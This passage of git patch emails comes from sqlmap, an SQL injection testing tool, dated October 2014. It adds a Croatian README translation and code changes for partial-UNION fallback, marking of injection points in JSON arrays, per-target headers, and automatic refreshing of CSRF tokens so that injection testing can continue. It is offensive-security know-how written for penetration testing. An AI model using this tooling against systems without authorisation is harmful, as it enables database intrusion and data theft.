koristite: + + python sqlmap.py -h + +Kako biste dobili listu svih opcija i prekidača koristite: + + python sqlmap.py -hh + +Možete pronaći primjer izvršavanja [ovdje](https://gist.github.com/stamparm/5335217). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki). + +Poveznice +---- + +* Početna stranica: http://sqlmap.org +* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues +* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki +* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Pretplata na mailing listu: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* RSS feed mailing liste: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Arhiva mailing liste: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From 50e7cae915c6eec338dee656042b09cb4b71d07b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 14 Oct 2014 09:32:01 +0200 Subject: [PATCH 069/492] Minor update --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 407ef70ee..87d361bd0 100644 --- a/README.md +++ b/README.md @@ -56,6 +56,7 @@ Translations ---- * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-cn-CN.md) +* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) From 1b18035eb3173b8009b279383a74ce76d8bd69b1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 14 Oct 2014 13:00:51 +0200 Subject: [PATCH 070/492] Correcting language code --- README.md | 2 +- doc/translations/{README-cn-CN.md => README-zh-CN.md} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename doc/translations/{README-cn-CN.md => README-zh-CN.md} (100%) diff --git a/README.md b/README.md index 87d361bd0..8115c5dd5 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,7 @@ Links Translations ---- -* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-cn-CN.md) +* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) diff --git a/doc/translations/README-cn-CN.md b/doc/translations/README-zh-CN.md similarity index 100% rename from doc/translations/README-cn-CN.md rename to doc/translations/README-zh-CN.md From 3ebc5faa345a90a54a5c7b24db259ff5f9c88c41 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 Oct 2014 09:23:34 +0200 Subject: [PATCH 071/492] Falling back to partial UNION if large dump connects out --- lib/request/inject.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index 5fa111829..4da700d94 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -38,6 +38,7 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import MAX_TECHNIQUES_PER_VALUE @@ -371,11 +372,18 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] - value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) + fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion + + try: + value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) + except SqlmapConnectionException: + if not fallback: + raise + count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE - if not found and not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion: + if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" From a2f578dbf4d2cace46dac66d8ef6b01322d6acb8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 10:28:10 +0200 Subject: [PATCH 072/492] Patch to also include JSON array elements into automatic recognition --- lib/core/target.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/core/target.py b/lib/core/target.py index 1daf63060..1c91a4d59 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -134,6 +134,12 @@ def _setRequestParams(): conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) + match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) + if match and not (conf.testParameter and match.group("name") not in conf.testParameter): + _ = match.group(2) + _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, _) + conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) kb.postHint = POST_HINT.JSON elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): From e239fefe67c18ce0199a35a2e4f1743cdae3565c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 10:38:49 +0200 Subject: [PATCH 073/492] Minor patch for JSON requests --- lib/core/agent.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index b8abc5567..2d6146c3b 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -101,10 +101,8 @@ class Agent(object): origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = origValue.split('>')[-1] - elif kb.postHint == POST_HINT.JSON: - origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)(?P[^"]+\Z)', origValue) - elif kb.postHint == POST_HINT.JSON_LIKE: - origValue = extractRegexResult(r'(?s)\'\s*:\s*(?P\d+\Z)', origValue) or extractRegexResult(r"(?s)(?P[^']+\Z)", origValue) + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)\s*(?P[^"\[,]+\Z)', origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else "" From 268095495e3225ab0266c78b4ed541e7c405c77b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 13:32:49 +0200 Subject: [PATCH 074/492] Minor patch --- lib/request/basic.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 95a6b23ec..e30ab2df8 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -38,6 +38,7 @@ from lib.parse.headers import headersParser from lib.parse.html import htmlParser from lib.utils.htmlentities import htmlEntities from thirdparty.chardet import detect +from thirdparty.odict.odict import OrderedDict def forgeHeaders(items=None): """ @@ -51,7 +52,7 @@ def forgeHeaders(items=None): if items[_] is None: del items[_] - headers = dict(conf.httpHeaders) + headers = OrderedDict(conf.httpHeaders) headers.update(items or {}) class _str(str): @@ -62,7 +63,7 @@ def forgeHeaders(items=None): return _str(self) _ = headers - headers = {} + headers = OrderedDict() for key, value in _.items(): success = False if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)): From 2f18df345e916306b8e5ee344a60233137ea2fee Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 13:41:36 +0200 Subject: [PATCH 075/492] Minor patch --- lib/request/connect.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index d0512b8b5..99e88cacc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -92,8 +92,9 @@ from lib.request.basic import processResponse from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest -from thirdparty.socks.socks import ProxyError from thirdparty.multipart import multipartpost +from thirdparty.odict.odict import OrderedDict +from thirdparty.socks.socks import ProxyError class Connect(object): @@ -638,7 +639,7 @@ class Connect(object): threadData = getCurrentThreadData() if conf.httpHeaders: - headers = dict(conf.httpHeaders) + headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: From 34aed7cde0ee3d49aa07cae9d6c269b9f3540b1d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 13:49:29 +0200 Subject: [PATCH 076/492] Bug fix (now it's possible to use multiple parsed requests without mixing associated headers) --- lib/controller/controller.py | 7 +++++-- lib/core/common.py | 2 +- lib/core/option.py | 7 ++++--- lib/utils/crawler.py | 2 +- 4 files changed, 11 insertions(+), 7 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index e57330d96..68d5eb8e8 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -251,7 +251,7 @@ def start(): return True if conf.url and not any((conf.forms, conf.crawlDepth)): - kb.targets.add((conf.url, conf.method, conf.data, conf.cookie)) + kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " @@ -264,13 +264,16 @@ def start(): logger.info(infoMsg) hostCount = 0 + initialHeaders = list(conf.httpHeaders) - for targetUrl, targetMethod, targetData, targetCookie in kb.targets: + for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: conf.url = targetUrl conf.method = targetMethod conf.data = targetData conf.cookie = targetCookie + conf.httpHeaders = list(initialHeaders) + conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() diff --git a/lib/core/common.py b/lib/core/common.py index 9b8f21045..2131f695e 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3391,7 +3391,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False): logger.debug(debugMsg) continue - target = (url, method, data, conf.cookie) + target = (url, method, data, conf.cookie, None) retVal.add(target) else: errMsg = "there were no forms found at the given target URL" diff --git a/lib/core/option.py b/lib/core/option.py index 921fd035e..b5da3df44 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -271,6 +271,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): params = False newline = None lines = request.split('\n') + headers = [] for index in xrange(len(lines)): line = lines[index] @@ -320,14 +321,14 @@ def _feedTargetsDict(reqFile, addedTargetUrls): port = filterStringValue(splitValue[1], "[0-9]") # Avoid to add a static content length header to - # conf.httpHeaders and consider the following lines as + # headers and consider the following lines as # POSTed data if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): params = True # Avoid proxy and connection type related headers elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): - conf.httpHeaders.append((getUnicode(key), getUnicode(value))) + headers.append((getUnicode(key), getUnicode(value))) if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): params = True @@ -355,7 +356,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, method, data, cookie)) + kb.targets.add((url, method, data, cookie, tuple(headers))) addedTargetUrls.add(url) fp = openFile(reqFile, "rb") diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index caea59a85..cb502eca1 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -143,4 +143,4 @@ def crawl(target): logger.warn(warnMsg) else: for url in threadData.shared.value: - kb.targets.add((url, None, None, None)) + kb.targets.add((url, None, None, None, None)) From 60f2764c3dd1f5b79d46e64727890e0746d8eb78 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 13:53:18 +0200 Subject: [PATCH 077/492] Minor style update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 887009543..9f63e00aa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -535,7 +535,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100 CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that") +BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") From 73a3db67eb7836c3d4e867ff4a3eab43b8369ed9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 14:54:49 +0200 Subject: [PATCH 078/492] Fix for an Issue #862 --- lib/core/option.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index b5da3df44..65e45a7a4 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -219,7 +219,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, method, None, cookie)) + kb.targets.add((url, method, None, cookie, None)) addedTargetUrls.add(url) def _parseBurpLog(content): @@ -561,14 +561,14 @@ def _setGoogleDorking(): for link in links: link = urldecode(link) if re.search(r"(.*?)\?(.+)", link): - kb.targets.add((link, conf.method, conf.data, conf.cookie)) + kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " test = readInput(message, default="Y") kb.data.onlyGETs = test.lower() != 'n' if not kb.data.onlyGETs or conf.googleDork: - kb.targets.add((link, conf.method, conf.data, conf.cookie)) + kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) return links @@ -618,7 +618,7 @@ def _setBulkMultipleTargets(): for line in getFileItems(conf.bulkFile): if re.match(r"[^ ]+\?(.+)", line, re.I) or CUSTOM_INJECTION_MARK_CHAR in line: found = True - kb.targets.add((line.strip(), None, None, None)) + kb.targets.add((line.strip(), None, None, None, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" @@ -635,7 +635,7 @@ def _setSitemapTargets(): for item in parseSitemap(conf.sitemapUrl): if re.match(r"[^ ]+\?(.+)", item, re.I): found = True - kb.targets.add((item.strip(), None, None, None)) + kb.targets.add((item.strip(), None, None, None, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" From 8dcad468053450fe5d0cd9c15db0ee5d7704fc80 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 23:16:46 +0200 Subject: [PATCH 079/492] Update basic.py --- lib/request/basic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index e30ab2df8..75bfbada2 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -53,7 +53,7 @@ def forgeHeaders(items=None): del items[_] headers = OrderedDict(conf.httpHeaders) - headers.update(items or {}) + headers.update(items.items()) class _str(str): def capitalize(self): From fc1b05bec907e96444d2227693fed0ab80c25b67 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:23:53 +0200 Subject: [PATCH 080/492] Implementation for an Issue #2 --- lib/controller/controller.py | 6 ++++++ lib/core/exception.py | 3 +++ lib/core/target.py | 6 ++++++ lib/parse/cmdline.py | 6 ++++++ lib/request/basic.py | 2 +- lib/request/connect.py | 29 +++++++++++++++++++++++++++++ 6 files changed, 51 insertions(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 68d5eb8e8..fe9c448d8 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -457,6 +457,12 @@ def start(): infoMsg = "skipping %s parameter '%s'" % (place, parameter) logger.info(infoMsg) + elif parameter == conf.csrfToken: + testSqlInj = False + + infoMsg = "skipping CSRF protection token parameter '%s'" % parameter + logger.info(infoMsg) + # Ignore session-like parameters for --level < 4 elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False diff --git a/lib/core/exception.py b/lib/core/exception.py index 8fe6a7756..562d75ecc 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -53,6 +53,9 @@ class SqlmapSyntaxException(SqlmapBaseException): class SqlmapThreadException(SqlmapBaseException): pass +class SqlmapTokenException(SqlmapBaseException): + pass + class SqlmapUndefinedMethod(SqlmapBaseException): pass diff --git a/lib/core/target.py b/lib/core/target.py index 1c91a4d59..343cb32a2 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -344,6 +344,12 @@ def _setRequestParams(): errMsg += "within the given request data" raise SqlmapGenericException(errMsg) + if conf.csrfToken: + if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + errMsg = "CSRF protection token parameter '%s' not " % conf.csrfToken + errMsg += "found in provided GET and/or POST values" + raise SqlmapGenericException(errMsg) + def _setHashDB(): """ Check and set the HashDB SQLite file for query resume functionality. diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 0084e731c..85aa91d63 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -190,6 +190,12 @@ def cmdLineParser(): action="store_true", help="Skip URL encoding of payload data") + request.add_option("--csrf-token", dest="csrfToken", + help="Parameter used as a CSRF protection token") + + request.add_option("--csrf-url", dest="csrfUrl", + help="URL address to visit to extract CSRF protection token") + request.add_option("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") diff --git a/lib/request/basic.py b/lib/request/basic.py index 75bfbada2..ac887e08c 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -106,7 +106,7 @@ def forgeHeaders(items=None): elif not kb.testMode: headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value)) - if kb.testMode: + if kb.testMode and not conf.csrfToken: resetCookieJar(conf.cj) return headers diff --git a/lib/request/connect.py b/lib/request/connect.py index 99e88cacc..157e0cce2 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -63,6 +63,7 @@ from lib.core.enums import WEB_API from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR @@ -748,6 +749,34 @@ class Connect(object): if value and place == PLACE.CUSTOM_HEADER: auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] + if conf.csrfToken: + def _adjustParameter(paramString, parameter, newValue): + retVal = paramString + match = re.search("%s=(?P[^&]*)" % parameter, paramString) + if match: + origValue = match.group("value") + retVal = re.sub("%s=[^&]*" % parameter, "%s=%s" % (parameter, newValue), paramString) + return retVal + + page, _, _ = Connect.getPage(url=conf.csrfUrl or conf.url, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % conf.csrfToken, page) + token = (match.group(2) or match.group(3) or match.group(4)) if match else None + + if not token: + errMsg = "CSRF token value '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) + if not conf.csrfUrl: + errMsg += ". You can try to rerun by providing " + errMsg += "a valid value for option '--csrf-url'" + raise SqlmapTokenException, errMsg + + if token: + for item in (PLACE.GET, PLACE.POST): + if item in conf.parameters: + if item == PLACE.GET and get: + get = _adjustParameter(get, conf.csrfToken, token) + elif item == PLACE.POST and post: + post = _adjustParameter(post, conf.csrfToken, token) + if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString From a52c8811e68df9b4c29aad0fc6b1f15d05190921 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:25:44 +0200 Subject: [PATCH 081/492] Minor style update --- lib/parse/cmdline.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 85aa91d63..06eccdd9c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -191,7 +191,7 @@ def cmdLineParser(): help="Skip URL encoding of payload data") request.add_option("--csrf-token", dest="csrfToken", - help="Parameter used as a CSRF protection token") + help="Parameter used to hold CSRF protection token") request.add_option("--csrf-url", dest="csrfUrl", help="URL address to visit to extract CSRF protection token") From 780dbd1c64690726eed291e77f9a2fc12d230610 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:42:30 +0200 Subject: [PATCH 082/492] Update for an Issue #2 --- lib/core/target.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/core/target.py b/lib/core/target.py index 343cb32a2..11910a2d9 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -349,6 +349,16 @@ def _setRequestParams(): errMsg = "CSRF protection token parameter '%s' not " % conf.csrfToken errMsg += "found in provided GET and/or POST values" raise SqlmapGenericException(errMsg) + else: + for place in (PLACE.GET, PLACE.POST): + for parameter in conf.paramDict.get(place, {}): + if parameter.lower().startswith("csrf"): + message = "%s parameter '%s' appears to hold CSRF protection token. " % (place, parameter) + message += "Do you want sqlmap to automatically update it in further requests? [y/N] " + test = readInput(message, default="N") + if test and test[0] in ("y", "Y"): + conf.csrfToken = parameter + break def _setHashDB(): """ From 7fc9e82d28f09cddffd0f55b1df0dc140ffcd957 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:44:38 +0200 Subject: [PATCH 083/492] Minor style update --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 2131f695e..c65443b5b 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -561,7 +561,7 @@ def paramToDict(place, parameters=None): if condition: testableParameters[parameter] = "=".join(parts[1:]) - if not conf.multipleTargets: + if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): _ = urldecode(testableParameters[parameter], convall=True) if (_.strip(DUMMY_SQL_INJECTION_CHARS) != _\ or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _))\ From 32bcca0aae2ebb4aa33dcfe656c1cf0255616fd6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:54:29 +0200 Subject: [PATCH 084/492] Basic options check for Issue #2 --- lib/core/option.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index 65e45a7a4..885005989 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2179,6 +2179,14 @@ def _basicOptionValidation(): errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" raise SqlmapSyntaxException(errMsg) + if conf.csrfUrl and not conf.csrfToken: + errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + + if conf.csrfToken and conf.threads: + errMsg = "option '--csrf-url' is incompatible with option '--threads'" + raise SqlmapSyntaxException(errMsg) + if conf.requestFile and conf.url and conf.url != DUMMY_URL: errMsg = "option '-r' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) From 7143e61619e144b9b31aa8306e20ec18e275c192 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 14:00:53 +0200 Subject: [PATCH 085/492] Minor update --- lib/core/settings.py | 3 +++ lib/core/target.py | 3 ++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9f63e00aa..d6c739501 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -603,6 +603,9 @@ METASPLOIT_SESSION_TIMEOUT = 300 # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." +# Prefixes used for automatic recognition of parameters carrying CSRF protection tokens +CSRF_TOKEN_PARAMETER_PREFIXES = ("csrf", "xsrf") + # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), diff --git a/lib/core/target.py b/lib/core/target.py index 11910a2d9..f1d284b96 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -43,6 +43,7 @@ from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import CSRF_TOKEN_PARAMETER_PREFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES @@ -352,7 +353,7 @@ def _setRequestParams(): else: for place in (PLACE.GET, PLACE.POST): for parameter in conf.paramDict.get(place, {}): - if parameter.lower().startswith("csrf"): + if any(parameter.lower().startswith(_) for _ in CSRF_TOKEN_PARAMETER_PREFIXES): message = "%s parameter '%s' appears to hold CSRF protection token. " % (place, parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " test = readInput(message, default="N") From 01f4b76817f83dd89557fdd2141ba9c826052e5f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 14:03:44 +0200 Subject: [PATCH 086/492] Minor update for the Issue #2 --- lib/core/settings.py | 4 ++-- lib/core/target.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d6c739501..26f83d04c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -603,8 +603,8 @@ METASPLOIT_SESSION_TIMEOUT = 300 # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." -# Prefixes used for automatic recognition of parameters carrying CSRF protection tokens -CSRF_TOKEN_PARAMETER_PREFIXES = ("csrf", "xsrf") +# Infixes used for automatic recognition of parameters carrying CSRF protection tokens +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { diff --git a/lib/core/target.py b/lib/core/target.py index f1d284b96..50a4d0d74 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -43,7 +43,7 @@ from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER -from lib.core.settings import CSRF_TOKEN_PARAMETER_PREFIXES +from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from 